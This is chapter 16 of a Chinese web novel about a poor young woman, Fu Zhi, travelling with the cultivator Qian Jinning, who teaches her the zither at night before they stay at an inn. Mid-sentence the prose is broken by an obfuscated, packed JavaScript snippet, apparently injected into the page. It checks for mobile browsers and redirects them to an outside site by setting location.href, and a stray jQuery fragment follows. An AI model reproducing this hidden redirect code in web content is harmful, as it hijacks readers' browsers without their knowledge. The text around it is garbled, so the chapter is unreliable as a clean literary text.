16.幽玄之境
作品:《穿书零门槛但我抢了女主饭碗》 扶芷和千烬凝赶了几天路,终于看到几户人家。
千烬凝在扶芷之前交了铜板,那户人家答应让出一间房睡一晚。
负责端晚饭的是夫妇的儿子。
他客客气气地端上来两碗米饭,一碗土豆白菜汤,一碗黄瓜咸菜。
扶芷谢过他后,小男孩快快乐乐地跑去玩了。
窗外,夕阳落入山头,一片金黄色中,小男孩拉着一个小女孩的手,到处跑闹,笑声不绝于耳。
扶芷拄着下巴,若有所思地看着他们。
千烬凝走到她身边,顺着她的目光看去,问道:
“你要找的人,关系也如同他们这般好?”
“准确来讲,是幼时关系好。”
毕竟她后来就离开家了。
“如果你愿意,可以讲讲。”
千烬凝递给她一杯热水,坐在椅子上。
扶芷接过热水,喝下一口:
“其实他性格没有那么活泼。我小时候喜欢拉着他玩过家家,还吵着长大以后要嫁给他。”
千烬凝嘴角升起一抹笑,他指尖在桌面划着圈,说出自己的想法:
“倘若是我,我会说让我考虑考虑。”
“他就是这么说的。”
扶芷惊讶居然还有人也会这么说。
毕竟大多数的孩子童言无忌,答应下来也是很常见的。
“他家比我家富裕,所以他时常拿着一只笛子吹,每次听到笛子声我总会第一时间完成手里的活去找他。
后来,他知道我不愿意嫁人,把笛子卖掉了,换成铜板,一股脑的塞给我。”
那是他手里最值钱的物件了。
“所以,我要找到他的目的就是还给他一个新的笛子和铜板,我十分感谢当年他对我的关照。”
千烬凝感叹于孩童们之间的纯真美好,也感叹扶芷多年不忘恩情。
他欲修无情道,讲太上忘情,现如今居然也会为这种小事动容。
晚上该如何睡又成了一个问题。
这间房只有一处火炕,仅够一人入睡。
扶芷铺好被子,想让千烬凝去炕上睡。
他一人不辞辛苦劳累许多天,虽不见痞色但她总归会不心安。
“千烬凝,你去睡吧,我不困。”
她把千烬凝的性格摸得差不多,他比话本子里的无情道男主角更有人情味。
虽然都是冷冰冰的,但好过她一个人。
千烬凝仍然坐在椅子上不动:
“我修仙之人总胜过你肉体凡胎,不用顾虑我。”
见说不动他,扶芷干脆脱了外衫钻进被子里。
她眼下一片乌青,说不困是假的。
可忽然环境好起来,她又难以入眠。
眼皮在打架,大脑还清醒,把她折磨不轻。
千烬凝察觉到她并未入睡,也有些疑惑:
“睡不着?”
“也许吧。”
她忽然想到千烬凝虽背着一把琴,却从未弹奏过,便心生好奇:
“千烬凝,为何我从未见过你弹琴?”
倘若按照他的样貌,说是琴师都比算命可靠。
千烬凝的手抚上琴弦,开口解释:
“我并非音修,是师尊觉得我心性略显浮躁,便叫我弹琴静心。”
其实他也会笛子,只不过试过之后只有古琴才能抚平他的躁气。
像他这般的人居然也会心浮气躁,那真正的大能性格该有多平静无波。
扶芷立刻断了也跟着修行的念头。
不说她了无资质,就论心性来讲都不是一般的躁动。
她和千烬凝在相识之前,就是两个完完全全不同世界的人。
“那你为什么还要到凡界来啊?那不是更会引起你心性不稳吗?”
难不成这是历练?
千烬凝发现这一路来扶芷对他的修仙路很是感兴趣。
他理解,毕竟她从未见过。
“师尊说我有凡尘事未了,叫我来这里行善,遇有缘人了结因果,最后登上问道天梯才能正式入道。”
所以这就是他帮助自己的原因吗。
扶芷闭着眼,轻叹道:
“没想到我这么一个平平无奇的百姓,竟也算得你的有缘人,真是三生有幸……”
说着说着,她彻底睡着了。
千烬凝睁开眼,盯着她看了许久。
最后替她掖好被角,抱着琴走出屋子。
半夜,扶芷胸腔忽然一阵剧痛,她猛的惊醒,咳嗽不止,喝下水后还是觉得心口痛。
心脏怦怦跳,显得整间屋子十分寂静。
她干裂的嘴唇经过水的浸润后泛着光泽感,扶芷不自觉披上外衫走出房门。
还未推开门,那隐隐的古琴声便钻着门缝溜进来,如同月光般皎洁又如流水般潺潺。
她披散着头发推开门,轻轻的“吱呀”一声。
院子里的千烬凝缓缓弹完一段,随后转头看向来者何人。
见是她,他不语。
扶芷主动开口,解释自己为何醒来:
“半夜胸闷气短,咳嗽许久,便没了困意。”
她坐在他身边的石凳上,望着月亮。
二十又五年来,她竟然是第一次静下心来去好好看月亮。
此刻没有活要干,也没有打骂声,只有自己。
“可会奏琴?”
扶芷很快摇头:
“只会笛子,也学的模棱两可。”
千烬凝让出半个身位,拨动琴弦:
“既毫无睡意,那便学着弹弹。”
“那,多谢。”
扶芷慢慢挪动身体,堪堪碰到琴边。
“离近一点。”
千烬凝的声音近在咫尺,扶芷的身体不自觉开始僵硬,两只手更是不知道该放在哪里。
在月光的照射下,千烬凝才发现扶芷的睫毛原来这么长。
平日他不愿用那双一见辩善恶的眼睛去看人。
不知道为什么,他第一次见她便主动去观察她,看她笑,看她板着脸。
扶芷由于常年缺乏营养,身体瘦削,脸色蜡黄。
千烬凝虚环住她,双手抓住她的手掌放在琴弦上。
清冽的气息入侵扶芷的五感。
他的衣服布料有一部分贴着自己,她能感觉到那衣服有多光滑柔软,是自己压根买不起的。
千烬凝的头发也带着他身上散发出来的清香,和自己的发丝交织,一股别样的感觉席卷她的大脑。
“专注一点。”
他握着她的手紧上几分,似在警示。
扶芷缓过神来很快把心思放在琴上。
自己的手粗糙又干涩,被他宽厚温润的手掌包裹起来,羞耻心渐升。
二人就保持这样的动作,一点一点弹奏出曲子。
千烬凝说他们正在弹的是《鹧鸪天·别离愁绪》,扶芷没读过书,不懂,只知道可能出自哪个大诗人手笔。
他在教她弹琴时,全过程并未有一句苛责。
后半段扶芷逐渐放松,甚至开始观察他的指甲形状,大脑慢慢放空。
她的手卸了力气,人则向后一仰,轻飘飘地倚在千烬凝半边身子上。
他握着她的手甚至还没来得及抽回。他便听到扶芷缓慢而平稳的呼吸声。
这是千烬凝第一次感觉不知从何而来的心宁。
他打横抱起扶芷,动作尽量轻柔,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171316|195706||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
把她抱回屋子里,一个人又回到院子静坐一整夜。
————
次日,二人向夫妇辞别,再次登上路途,千烬凝依旧是在前面走,扶芷坐在小车上。
“昨夜,我见到你外衫破了。”
其实她外衫已经有很多的补丁了,只不过颜色一致,不靠近看不出来。
扶芷针脚活一般,也算过得去,她摆手表示不介意:
“等我有空拿碎布补上吧,丑是丑了些,不过还能继续穿。”
千烬凝的眉头细微地皱了一下。
他语气不惊,扶芷却可从中品出几分不赞许的意味:
“扶芷,倘若我是你那相识之人,见你不远万里来寻我,明明自己过得不好却仍要报恩,我会不开心。”
当初给她钱便是希望她过得好些,而不是图她什么知恩图报。
扶芷听后也觉得颇有道理:
“距离下一个集镇还要多久呀?”
千烬凝目测还要几十里:
“天黑差不多可以到。”
扶芷拍板决定买一套新衣服穿:
“这样,咱们在客栈住一晚上,第二天再多停留一会儿,我买一套新衣裳,如何?”
“可行。”
果然如千烬凝所说一般,他们来到客栈的时候天已经黑了。
千烬凝拿出自己的银两,推给掌柜。
“两件上等房。”
掌柜收下银两,给他剩下的钱。
“客官你们来的真是时候,就剩最后两件房了哈哈哈”
千烬凝还向掌柜要了热水,方便扶芷洗澡用。
扶芷刚从外面回来,她把牛暂时放在客栈的牛棚里,明天走的时候再取。
“多少钱,我给你。”
她说着就要掏口袋,千烬凝止住她的动作:
“我总不好让你一个小姑娘总花钱,这次算我的。”
扶芷拗不过他,跟着他上楼。
二人的房间挨着,里面的东西应有尽有。
扶芷从未住过这么好的房间,哪怕是在谢府,她也是和另一个丫鬟一起住。
“我在你隔壁,有事叫我,热水等会会送上楼。”
扶芷连忙抓着他的袖子表示感谢:
“谢谢你千烬凝,这一路你跟着我受苦还叫你花钱。”
扶芷真不知道该如何报答他。
“无妨。”
他先一步回了屋子。
扶芷转身也走回房,心想着明天要买什么样的衣服。
既然买了衣服,那笛子也顺手买了吧,虽然不知道他还吹不吹,哪怕当个纪念也可以。
过惯了拮据的生活,心想着马上要花一笔大的,扶芷就开心。
自己还年轻,还能再赚钱,在城镇上买间房子,然后再买自己喜欢的衣服和首饰,如果有闲钱再开一个馄饨铺子,度过余生。
那她后半生就算作幸福了。
片刻后有两名小厮敲响房门,一人提溜着两个水桶进来,倒满浴桶,屋内顿时水汽弥漫,白雾四起。
扶芷拿出一套没怎么穿过的衣服,虽然也是粗布麻衣,不过也比之前那几套好看些许。
极其认真地洗了个澡,她换上衣服,躺在床上。
头发还有些湿漉漉地,她不能立刻睡觉。
书柜上还有带图的画本,她好奇拿来看看。
她认得些许的字,理解画本不成问题。
这不看不知道,一看吓一跳。
这剧情写的太过露骨,比在谢家看到过的还要露骨!
它描写的淋漓尽致,就仿佛画本的主人公活灵活现地在她面前开始演。
她看的入迷,烛火熄了才发觉过来已经很晚了。

